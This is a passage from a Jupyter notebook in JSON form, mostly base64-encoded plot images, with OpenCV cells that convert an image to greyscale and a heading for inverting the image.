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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "grey_img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n", - "grey_rgb_img = cv2.cvtColor(grey_img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(grey_rgb_img)" - ] - }, - { - "cell_type": "markdown", - "id": "7237390f", - "metadata": {}, - "source": [ - "### Inverting the image" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "id": "7540b2b2", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 21, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAARkAAAD8CAYAAABD7tCSAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjQuMywgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/MnkTPAAAACXBIWXMAAAsTAAALEwEAmpwYAADTXElEQVR4nOz9aYyk6XUeCj5f7PseGREZkXutvVSvIik1KYoiOaLtK5O2NJYEzMhXMiTAuOO5YxsY2/fHXNvCBTSGcSEDHhmQ7siWZUmmpBnRlrVcUaTEptgr2V1d1V1LZlXuW+z7nhHf/Mh+Tr3xVURk5NadrekDFKoyK+Jb3uW85zznOedouq7jY/lYPpaP5bzE9GE/wMfysXwsf7XlYyXzsXwsH8u5ysdK5mP5WD6Wc5WPlczH8rF8LOcqHyuZj+Vj+VjOVT5WMh/Lx/KxnKucm5LRNO1Lmqbd1zTtgaZp//S87vOxfCwfy8UW7Tx4MpqmmQEsA/gigG0AbwL4KV3X75z5zT6Wj+VjudByXpbMJwA80HV9Vdf1DoD/DODL53Svj+Vj+VgusFjO6bpJAFvKz9sAPql+QNO0nwfw8+//+wWbzQYA0HUdJ7WuNE0b+rOmafLHZDLBbDbDYrHAbDYP/d4omfS5dF0f+SxGOTg4QLPZxMHBAfr9/kTXP47wva1WKxwOB1wuF0wmk4yz+k7D3o/Pbfy/Sd9PvQf/1jRN5sBiscBqtULTtCPHd9J5Mn623++jXq+jVCqh3W6j1+tNPNbq2hn3Tsd9vqOee9K1ZlzTVqsVJpNp4P/PSobNuaZp6Pf72N/fz+m6Hh32vfNSMsPebGDUdF3/FQC/AgB2u12fm5tDr9cb2Gz9fv9Yg202m2XQ1cFXJ8Fut8Pv9yMajcLn88Fut8NisQydDOP9dV0/8pm4AHl/API8RrFarSiXy3jnnXeQTqfRarVwcHAAXdcHFspJhM/Bd47H47hx4waee+452O12uddR483nMG5KvpNxvFXp9/vo9Xoyr7y2yWSC0+mEz+dDLBZDLBaDx+OByWRCr9cb+j7GMRy3uTVNG5jTfr+Pd955B//1v/5XvPvuu8jlcmg2m49dZ9R9bTYb7Ha7KMJOpyPjpj6v8RlHzfs44cE3ahy4tvjcPCz9fj9CoRBisRgCgQB4aB91f+OBOOqZOb/8PPeVxWLBwcEBfuEXfmFj1D3Oy13aBjCj/JwCsDvqw8MW6GmF11Q3ycHBATqdDlqtFprNJnq9nmjiXq93LAuq3+8PbDwqIGCyxcWFoi5gs9l8Kktu3L1MJhMcDgfsdvtE31HHbpyo1smkous6ut0uOp0O6vU66vU6ut2uKNdJrjWJwlc/53a74XQ6H7NijytUmueV88frG2XUmPDzrVYLtVoNtVoNnU7nTC2YYc/B9T9KGapyXkrmTQCXNU1b0DTNBuAnAfzXcV8460FRTVxu6IODA3S7XbRaLVE06glLOclGN56sxvcZ5p5omgabzQa32w2bzTawqYd9/iSiuiZ2u11Oo0m/e16L9eDgAI1GA7VaDdVqFa1WC/1+f+w9jzsmqkXpdrvh9XofG+dx95n09x+kqErduK6ptBuNBrrd7qnuMer9h/18lMI+FyWj6/oBgP8LgP8dwF0Av6Pr+nvjvkPNeBwX6bhCzdtut1Gr1dBoNNDpdIaeiqplMkx40vNzqtsw7t1UC4ifdTqdsNlsYoLyO2c1DnQfiH3wd3yH42Id6iadxOLh/Y3v1+l00Ol00Gw20Wg05FQ0KmJ1nNXxG2faq3NnNpvhcDjg9/vhcDgGsIRRYnQjznttHiXjLEZV0TSbTTSbzRNbM6PW/TjL8aj7nBcmA13X/wjAHx3j8wN/n5dwQmheOp1OWK1WWK3Wxz43DMAFBsE548lyHKFycrlcsNvtaDQacjqpf59WzGYzrFarnOKneeZhIGiv1xurrFTFxu8Ah+/fbrdRr9dlLoxKaxwQepxnt9vtCAQCcLvdJ1KsZzUXp5VR61HXdbTbbTSbTVSrVTgcDjgcjiOtjFEW9ygxjgPnf5xcGMavqiUn9bePK1QwvV5vwLRUtb563+MsKqOlMsmz88SgkuE9VUD1LIQA3SiAe5SMs/CMc8WIjfpZFRxWF6f63W63i0ajgUqlgkqlgna7DeD0rpr6XbqlPp8PTqcTFotlIuuLCk+1Wi+q0DLk4VmtVtFoNE7k9nO+xq1j1XU96h7nZskcV4wL9zzvQ5fJYrGg1WqJy2SU4y5y4zUmBX/tdjtcLpdgJwSkz0qoZEwm07HD5KP88GEnYL/fHzg5uVGNALkqvV4PjUYDFosFNpsNNptN/n3ccK56DyMmZ7PZ4Pf74fP54HA4UK/XRyoOVdGrf07yLOctxsOx0+kI1lUqlWC1WiWwcJRQYRit3Uk+P04ujCVzEhmlRYdZA6oC6/V66Ha7aLfbAgB3u91TuQ8nPXkJzHo8ngHM5CzEGGq0Wq1DQ79nBXKOO9lU/Ed9R1qVjUZD3KZ2u30q4JvKW3XLTCYTPB4P/H6/AOAnCTEPu9coOS+LfJT0+33BZTiWtVptKNY1Soxjd5RM8tmPtJIBhsf5jX84cOp3yN3ghDSbzWMviGEm9UkWLaMfDofj2N896vlUJWOxWIYqmWFyUiWj+ueqRcHnUDEXVZEQAFZd2NOQE4fNt9PphMfjEWxq0jD9KLB1kmf4oBSMajXSUm82m6hUKmi1WhM9i+rajsOg1OsYqRzD5MK4S0eBTWcpBFwZRnW5XGg2m3C5XLBYDofktCeccVLHLVSTyQSXywWHwyFRGHWznhabUNmg6nOdZlwnfbdxz6U+BzEym80mGBXnwvj5k4rD4RggYJrN5iM3yCQb7aIJLfVarQaLxSIUCWNw4ySiYjbAZGvzQiiZUWEz9f+Nk8oT6LjIv3ovs9kskSZyZtSFfVpRQ62qqMAan9tut4vL1O12hfB1Fu4TLRniHUbz+SQbWD3tjNGGUe+tPo8RCDaZTOh2u6jX6yiXy0JSJDZDK/E01o3VakUgEJDDRH2OUW63GnYf9v4XURhpInXA6XQK4H0W6+mo+TXKR9pdmhQHGbUY6DKRnNdqtSZiMJ5EjlqUPHGIFxznu+OEG1SlxZ+3jLvHKPyKkT8ygKvVKur1+pk9rxphcrvdx2b8HmUBXoTwNjAIBaj4DOGA417rLORCKZnzSBA0al0ucOIvKghsDGcPEyMGYxT11FWfwfhuRr+33++LpaHS3ifxecc9K69Fi0C9lhEUP2vhs6t4ldlslj9q9EelqdOyrNfr6HQ6J76/0VpST3XyhiZVNurzjQrVXyRhGg0VDVnVk1rHx6VvjJML4S6NkqMW/3H8wmHCUDG5GtVqFU6nEw6H4zGTfth9xp1ox9m4uq7DarUK+FutVs8s6kGTmZGrDxtjGOeaAIcLttFoSGIicSom/E0qozaT2+0W5u9xeUjjnvuiKBlj5I7BDUaaSBOY9BqTyFFr58IrmUkUjZHmrp6SzOyltjVaEETi6/U6nE6n8GZIPz+pGJH6ScRutw8k8R0cHJyJsjGbzbDb7QPjogotumGch1EbcRLr6qhNbLFYHkuyIwhM97VcLguHaFKqgJGXo2aJO51OuFwuKYkwSukRizku5jfJe39QQka1yWRCrVZDpVIRFvBJE0RPIhdayZyVHLVA6DKRxERzmlnRx72e8bOTKhmr1SoA3UnvR1HxA03TxCIYlhB6lExiwY36rNGyG/Vd4zgRBDabzfB6vVIPZ9g9JpV+vw+73Y5QKCTpBeo7jXr208gHbeEMCy8ziloul8VSP46SOa3HcDFULh6lrB8Hf+ApzVPK6OcDj5+4qoVBIehIbgETzE6SKqBe04inGH82Wjpms/nMogC0TjRNG5qbxefhZ0ZZORQjBjWMF2Scg3HPBoxftP1+H7VaDa1WC41GA+12e8AaPYkQo/J6vWIxHsWC5lwcxw0+DY52FsL787mJzfAQ5VhOYnGNK2vxYZd6OLacJnoyaZRJ/Y56X/quavkBY6RpUrfnqM+pG2zYyckIk2rSniS6pIKsVqt1gIinbpij+C6jrn2Scacc5X5Q6dOaUeukjAs5TyJWqxVer1dIeUflMV0UrOUkokIC6nhWKhWpp3SUGKNqw8b9qLm4MErmpDLJgh0G4KrWgqZpAyzJZrN5LG1vvN9JqeRmsxkul0tCrHzG04Ky3EzDnnUcsH0cMVo0oyJvRhn1WSqaVqsliqbZbJ56LEh8dLlcY6NLHBvVkj2qWNVRkccPWlQLnFE7liGt1WoTuc6qR8BrGb9zlNX24Y/EByTGzaQqGP672+1KUatGoyGFlIzfP89nJF/mtHlMqgs5KgP7JFbMUfccZamNstzG1YShqU/eDC3Mk7oidA1dLhd8Pt9AjZthY6O+DzfXJJvyNFbeeQgVJJU2x5IlSMfJWbzD/18Av8DkvjR5BY1GQ4pJqSUrz4LpOeo0oItDYI6b8KSbit9nCFu910muyesNe37+btQJPu47wCMWsDEKyCxtm82GarUqLODjMrNV5ed0OuF2u8VVYnqBimNQjLVtjC7nRVEkR61LAsCsPlCv1+HxeCTIoR6mR3kG/HtSRfpX3pIZBvQOEy5wFQCmtqfbpAK1p1E2qtnJP1zkJIyplfJOeipSaRmB39M8/1HA7rhnHaVkqLxUN0O9BhVNtVpFuVw+kdukPhc5SU6nc6w1pX7PeL9RWeUfpoyaU/WwMoLAjUZjpBt03PuMkgunZNRNd1qLgddTB3FSwFFVMsdJlQdOfrrx+chKVfNmTgP8quDmuHE9qw0zysVQrz3sOYa5GZw/tXzBSeZEFZvNBq/X+xhnZNi7H8dF+jDkqL1ijIzRWmdIm0Xcz/MdjlQymqb9mqZpGU3T3lV+F9I07euapq28/3dQ+b9/ph22pr2vadqPnOShzrIGhzGUPO7EosmuFhs3YjNHyWnrlOi6LnwZcnVOKlw4ak+rcREF1aI4qajuz7Bn4TiOoisMK5vB+WP9H57AJ+H8AJAcJtUtVS0W9dmPoi/wex9masEoRWgcR74frXUqbVozH5qSAfAfAHzJ8Lt/CuAbuq5fBvCN93+GpmlP4LAzwZPvf+eXtcOWtceS476sEWybxKccJ5wEmpTHyaE5i1A3XaazyAhXq+IBk9WQOcq3H+cyqnPA0PkwXGPUPI2aS13XpQB8sViURm0ncV/NZvNj3QuGgdLq3x9FMY6LERJQQWCOpfF748Z00jE/Usnouv4ygILh118G8Ovv//vXAXxF+f1/1nW9rev6GoAHOGxZeyyZ5GQwnjhqJGXc4p1UAagV2yqVCur1+sS8gqMssVHAK79DJXNa6rc6JrzvUWN6VF1XWiCjTnjOnbGpnrppx1mF2vsRNn6HloYKAqtuk/oskwqZvwxjM5JnTB7lO5yVVf1Bi3E+1T1At4m8GXaLmJSAqoL0R8lJ7eKYrut7799sD8DU+78f1p42OewCmqb9vKZp39U07btqTdvjhP+GDcBxUO9x1yU5j9q+Wq0+pu3PQoadBmT+TtoFcJyoVfHO+1QeZQ2oYlzwR33fODYqCKzOyVHvpo4zc5g8Hs9jhbE+qnKU9aGOu4o9NhoNlEqlEwPqk8hZA7/DZmnoU+u6/iu6rr+o6/qLx8EARpXUVK47dAFz8Cctt0jzXC07UK/XJ6qkZiRlHYVzGLESXdelUp5qiRxHdF0fAH0nOZGHPfsk9wEeJRSO+o6KeY36PyPgq86xakWxVCdNfTX6N0yGpXOwAh8tJdVymiQ14sPGYYbJOAvZaNEAh7wwHqS02Pv9/rEt6KPG4KRKJq1pWuL9GyQAZN7//bHa055UzgJ3Oer6wGBrWyqZo07OYZjCSTAmmvNqbZnjYD2qZThpmYTTWoDnteHU62qaNlAjpVwuC3AJTJ65T9Ijez2d9LlOO2YnleNgUEZR3Saub6Zu0AU1KvxxVtJ59V36rwD+7vv//rsA/ovy+5/UNM2uadoCgMsA3jjqYieZJJ4+PHmGlXRU/z7JPRhpUqMalUpF+jYPO/nH3WeUlTDsmUnKY6U8LopJNhDvpf7Nf0+6MEcld6rWhXriG8lcPBFpPaqAr1FULIALlpiIscgVx0BNAalWqzInEwGR77uQrN8zKgXC+P78/UUR4xwdNzLI9a1W0CsUCgNMYFpBo9IKJokEH2mHa5r22wB+CEBE07RtAP8zgF8E8Duapv09AJsA/o/vP9B7mqb9DoA7AA4A/A+6rk9Uz/IkWnlSIPe4n1W/w5wPsmYtFouY2cMiNqPucdzFyTwmYxbwcZ6dWMxxCj6Nc0FVJcFey6M2qK4f1oXpdrtSV9h4bVVR00JRFbXRZVKfT20yb7fb4Xa75Z0nkUktGVXxn2QNnZcMA9yP8z31cGDNGYLgrLczzm06zno8ckZ0Xf+pEf/1+RGf/18A/C8TPwEGkWqjaTzpy6iRiLMUnmhqNX3S3HnanrXQxXG73XC5XJKBPAmar46D+m+eOEe5mbRWVBLgwcEBbDab/B/JccbfNRoNyXK22WwolUrwer2ikKxWq7S0PTg4ADBYVFwt7m0Uk8k0oKg4J7VaTaoJ2u32iXO+6JKSWT3K0hqG51wEa0Z1eYzW6yhR51e9DueYc9poNEQBn4VcmNylYRN8ktOb1zoLUe/PE5m9bNTePedxwrFPkGrNHPeZ+TNTCkY9I8OZAAbYr1QGzHWhK5NOp5HP5wfC1GazGYVCAZVKBVNTU4jFYpJNbjabBctqNptSduLg4EDcFRYOUysSGiMiFG4stac5c8yYQjHsGvyZCs3tdkuHiHElH87C9T4vOc3aU8eE499qtVCpVISnNWrtHeeeF0bJHGcTqaed6k6cBgwbJ5wEloPg6akmT6qWmLpYj/NMRl+X5Tg52cQdJrkOx0TdQKOexWQywWq1SrtYvm+z2USxWMS9e/dQLpfR6XRQrVZFUbRaLQmFAhAlcefOHfR6PUxNTSESiWBubg7tdhuJRAJOp1PcG7vdjlqtBgBwOp0jn43jqp7EtMwYhrXb7QOlOlnaU7U8jHOktgoZdl/VmuP9PuwSDsNcR2PqibofJsWSut2uHAakCDD9QrXW1Wuq9xonH0klo2rvDwrhp3nOjUsswJilzWdS5aSKj7VPWI92EuG91exrWjKjTj1N09BqtWCz2YSqv7e3h729PSwvL6NWq6Hb7aLT6YjL0ul0BnKj2A3B4/HI2LRaLWxsbGBrawt+v1+uk0wmEYlEEA6H4fP50Gg0hkbBhlll/J16CrNOCsFyk8kkGM0wC5ljwERJFglTM96Na8qIzXyYQmVH5WjEBlXcSj1wxgmtyXa7PbC+OUajcugmGY8Lo2SOIypgOMlnT2vhcLF2u13JlGYjc9bOPQ9Fx01LJTaJaayOjRp5AzCQVKhGCugS5fN5ZDIZbGxsIJfLCW+i3+8LdtHv9weauFPpmkwmKcIeCATQ6/UkA5xVBre3t9FsNrG/v49YLIbnn38ebrdbCrePWrB8TiNWpD5/vV4HAFH6VDajMDO+k8vlEvBXjciNi4adt3B+VIud+BoVOkFaRliN6+/g4GCg3Q9/5rVVfItKS+Ug8T48SI9yucfJR1LJAJP3ujkrF4oTToBMVTRMAzhrRaNpjzKyuWGOAn9VE5qLkqFkKhY17MjT6/79+1heXkY6nZaIQ7fbFQXHRUo3kT8DjyrvmUwmcamIWdnt9oHw99TUlJTRXFlZwZUrV2Cz2cTVGRba53sZXR91A6ph2FKpJBUGjddRr6e2cDXmd501vndcUaNuJpMJDocDbrdbcCQmePKPepgQq1JLOjARst1uy9wymKAqHBWbqVar0p/K4/Gc2FX8yCgZIyJ+XDkrZUNXodlsSqsRanqbzXbi+6ibh4tLjTJZrVZxVyb1s9XTT91ABLA7nQ5yuRxWV1exurqKcrmMXq8nStNut0PXdfmb0YZ+vw+n0ynV1rhoedp1u124XC4pYcq0EVpBZrNZcJRisShdFKLRKLxe7wBYbRyfYeNLxUk8wWKxiAVIBTvM9WKipFq7R01xUa/9QVg1qtJUD7FAIIBgMIhwOIxgMCh/WHTK4XDIuFLh0nph+kWpVJL0AfUPFQ/dZGKPjKYyxcVut4/sQnrUev9IKBkj2Kv+fJyJPwslw83CCmOq73pUUepRoprnRnITeTk2mw3NZnPoRhgm3IwqqKnrunAi+v0+bt26hVu3bkm6BCNZVHRUEhaLBX6/H61WC36/HwBQKpXkXRmdCgQCKJfLcgrabDb0ej2xFLigAciY7e7uwm63IxgMymaIRCKClfBdVSVjDH+rp3Cj0YDZbEa5XJbrDuMJEdOgJTDKMjYCnectPFh8Ph/8fj+CwSASiQSmp6cxPT2NYDCIUCgEj8cjz05lSvYu68PQVWTmeqVSEZc4l8thf38fpVJJXGOS8DifPAyq1aooMtIQjGM0Tj4SSmaYfJgAHK0ZRmRUS4Ymv3FhHlcZqpERLiRjGHaYqEA4LQKz2TzQLbNcLuPmzZt48OAB2u02fD4fwuGwWDeMHKllEDqdDubm5qBpGoLBIDqdDjKZDAKBANLpNAKBgJx6NLMZjlZ9fqfTKdbLgwcPcPnyZfT7fdTrdWQyGUxPT6NYLKJarcLj8cDr9UrES8VmhkUTqUTNZrNEAMnZMY4bn4ljqx4Q4zbNWa45433MZrO4QvF4HLOzs5iZmcHc3BympqYQjUYF/6PLSYVLN6dYLKLVasHlciEUCiEQCIir1W63MTs7i0ajgUKhgO3tbezu7mJjYwP7+/vIZrOoVCrodDpS2kTTNFEyaiTuOOH8C61kRmEcJ0niOmtR0fh6vQ6LxSImpdrHmp89jhhDhGoo+6iukjzBjOAlFWMmk8Ha2hru37+Pfr8Pt9uNVquFzc1NcR1arZZcw+FwYGlpCblcTrg7/MzMzIy0F2FUIhAIoFQqQdM0eL1euFwuScSbn5+HyWTCzs6OlGzY29sTi4VpAg6HAz6fTyJUtBKNY2pMKgUguBXTDSqVihwA6rjRYmSOmAqejgqln8ehpuu6AORerxexWAzT09O4cuUKrly5gunpaYTDYfj9flgsFlQqFWQyGeTzedTrdZhMJtTrdRkntjgmoO12uxEKheTZ3W43YrEYUqkU5ufnsb29jXg8jtXVVayvrwsHqtlsimXEKnpGt2xSudBKBhiOxYx6QVW7nsQ1mvQ76qblIqFbQ5D2qGcddV3j85DPQVyGZuxRz0q/ntZIt9tFPp/HysoKlpeX4XK5pIaIzWZDIBAQ39ztdsPn80HTNCHRLSwsYHNzE3NzcwAAr9eLUqkkWAxxHiqifr8/YM5T0XQ6HckZmpqaQq1Ww+bmplg6JIOtr6/jrbfeQiKRwNWrV5FIJASEHpfNDUCiTSQIssrgMFzGyEUy4jGq9XNWSkZ9dlp/gUAA09PTuHr1Ki5fvoylpSXEYjEZl3Q6jUwmg3K5jFKpJK4OsROSReni8p2sViuSyaTMQyAQwNLSEpLJJFKpFFwuFwKBACKRCEKhEFZXV7G2toZ0Oi2Jp3R/Cfr7fD5xhSeRC6NkJjntx4WtjVbDMIBQNZWN1oL6eSNXYpxSI0hG1J7uEyd5kgSyUUJzmFGm45TjpJKh+1KpVPCXf/mXWFlZgd1uF0zJ5XLJ5qdSCIfD6PV68Pl8srAJyhYKBcRiMXGzer2eJHG6XC4xs1V3j0Q73sfr9Q4AzB6PB6urq9jZ2UGn04HL5YKmaWg2m7hz5w4ymQyefPJJLC0twePxiPunzinn8ODgAGazeaDrRK1WE77RMGuG40oLbVhU66yFhxMVzOLiIq5cuYKnnnoKV65cEV7R9vY2crkcarUadnd3kclk0Gw2USgUhAzJgICmHbaQIZGTltru7q4Q66anp1GtVrG/v4+FhQVxq1wuF7xeL/x+v1gsu7u7aLfbA0Cwy+USPE2NWo6TC6NkTnPiT/oddYOqeRlG0JURHGPY1yj8rFrcSo04ndXiVLED8kGOWvzq5uv1enjnnXewt7eHcDiMer2OQCAAu90u+Sq9Xg/T09NwOBxotVrw+XwwmUy4dOmSlAAg3lQsFnFwcCAKncAuQUuOlRrtUK1LJuFxoxHgfPLJJ3Hv3j1JSKWizOVyePXVV9HpdHDjxg2xFNU8HCMArOs66vW6WCq0zowMYrU7xGnkOAeJqmAikQguXbqE69evi4IJBALI5/NYXV3F1tYW1tfXUSgUBKDt9XqoVqvodDriNnLMjUEBm82GfD4veGEul8P6+jqmp6dRKBQESA6FQrh06RL8fj88Ho9Yznt7e+I6ERZQI1+TyIVRMseVoywfmpnEFoiZEKQlf0P193kKqE3ems2mFBKnewRg4DRVNT25IZxUFReZVIxun8lkkpDsOMuK31VxmG63iwcPHmBra2sgi5wmNs3fRCIhmd8kz3GMTCYTGo2GLGhaC7wXK6qp5DeCkxaLRawk1cJgsXSSGcn6vXHjBjY3N8VUJ8ej2+3i1VdfRSaTwac//WmEw+GRGIpKOOO8MArocDjk+ai86VLSquFGPa4FOmkCK+8TDoextLSEGzdu4Nq1a1haWoLVasX29jYePHiABw8eYHNzE1tbWyiXyzJ2tNgI+gKPlAvHnzwm9TBgJUECvMwzi8fjWFpawuzsLBYXFweKpdlsNmxvb0uda+buMRI5iXxklcxRQo2rAmDsHMjwKBmNqpLhwlSLIpFPUKlU5AThScuFRZo9Fy7dm0ktGnVBD8NmmO/D9xpW6Uy9Dt2URqOBlZUV2dhUDn6/Xzg4MzMz8vzAId7Cro3csFRwtBLUmjq8P0P7/D2VO/OuWq2WbDDW6GEUyuFwiOuWTCZRq9UkjO52u2VTPXjwAGazGZ/97Gcl9GwcO/7MaBM3Bt0AdXOonCC73S7u6aRh6+MqIloBkUgECwsLePrpp/H0008jmUyi0+lgb28PDx8+xK1btwSEzefzaLVaACDjrip0HnZUDMN6uNOVKhaLMq7FYhHpdFpcr3a7jWvXriEWiwmuQ4xxd3cXjUZD+GG0dGiRjn3nY43QhyTDsBgVg1EXNTe5y+WC3+9HIBBAIBAQIlM4HBY2qM1mG+BIsBIeQ6qNRgP5fB65XA7ZbFYmnb2E6a/SHVDD2s1mUxSNMexnXMCjwt0qJkTLiItUva8qRrByZWUFlUoFwWAQDodDIhGBQABTU1Pwer1CxFJD3STY8fdkkDISRExFzdRW34NkOvJiyBKmlcj3qlQqA/e3Wq3CAeHBsLq6KuOh6zreffddNJtNfPGLX4Tf75fyEcYxIDhPTKZWqw3U9VXHlkpGrXN7VO/rUfNnFFURm0wm+Hw+JJNJPPnkk3j66acxMzMjmMuDBw8k0pPNZgXrUxWHOudULExS5e8I9nMu+C5UoiyOT9yqUChgb28PtVoNly9fhtPpxMLCgigtk8mE7e1tWQekCFBxj5OPhJIBJmO3MhxJRmQsFkM8HheOgd/vh8/nE3KbasLzD09WXdcl0pHP55HNZiVpcHNzE3t7e8jlcmg0GkLPJlWb31PTDviM6il71HupykJN5iNpapwbxozaWq0Gi8UCn88n4U8qVroqXESMTPBdqHC5yPn8NMPVcDl/pkvFhU1lSNxATc8gEHtwcCDPqWnaALg7NTWFarWK7e1tIQaaTCasrq7i3XffxQsvvDBA2jOOH60utb2NqviJjZCyzz5b/P9RERTjPB61NgGI2xuLxXDp0iUBs3Vdx/7+PlZWVnD37l1sb2+jUCigWq2Ku2ME/DXtEQeKipJuLMeYViupD8YsfmI75NcwgtRqtRCLxRCNRjEzMyPrutlsIpPJCJOY0AMJmqPkI6NkjKIuKOIt5BkwPDc9PS1KhnR1LnY2byNDkgWpHQ4HAoGAgJx0txKJBC5duoRMJoOHDx9ifX0dm5ubsiDYbIyTwSQ2tcoYT7RJ0wLoqnCBMQJQqVRGYlLc6LquS2+iZDKJQqEgGBQVsM/nA/DIBGe1OXJWqHS50dQQKTcwEyGNbhPTIPgZKhS6SyqpjAqKn63X6wgGg5KQOjs7i2KxKIAzyYLvvvsuZmZmMDs7O4ARqWNBhcY0hmq1OlCjh2UuaDUx8sXxN1qGxvkZF0pXLVcegsFgEIuLi3jqqadw9epVeDwewV1WVlawtbWF/f19IcRxLAEIOK0Wh6cVTmuGa5xjzLHlH5IV+Tlykwji3rx5E9VqFZcvX4bJZJKoF4mauq6jUCig3W5LobCjilt95JUM8YpQKIR4PI75+XksLS1hYWEB0WgUwWAQTqcT3W4XhUIBmUwGjUYD3W5XaqMwg5gLgSHoYDAITTtk3IZCIcRiMcRiMUQiESQSCbGOVldXkclkxPTnyUlwU62Mz2dW32GcqKcxw5Bq9u2wML3apJ6f5yajGxKLxcRao5vIhd1utyUUzVNMJb9xg/JnY4dNn88nFfC50YnpEEwmsExLitdQi1YRo/F4PIjH4yiVSgAeAfT5fB6vvfYavF4vAoHA2HE0gpakyDMayOgTrTTiOcRCRs3LMBkW8bJYLAgEApibmxOQ1+l0Ym9vDzdv3sTdu3exu7sr1jGVnxq8YLY7lSTdIW50rmtyq5jGQYuT76JaNnzOdrstyoPKyuv1YmZmBolEQoIgBOT5nJVK5cgo0yQ1fmcA/EcAcQB9AL+i6/q/0TQtBOCrAOYBrAP4O7quF9//zj8D8PcA9AD8X3Vd/9+Pus+Ie4/ciGp0IBwOY25uDpcuXcLS0hLm5+cRCoXEBcjn89jb20O5XEYmkxHQi6FZAKLxeWrwuh6PR07+RCIhCsbj8SASiSAajcLn82F5eRn7+/soFArCBGZWsJHjokZgRr2bKmrol/wbldFrFJPJJGFlj8eDfr8Pr9crlkAqlRI2Ld0ZKkZaNSqgzZNYdZnUIk484YjL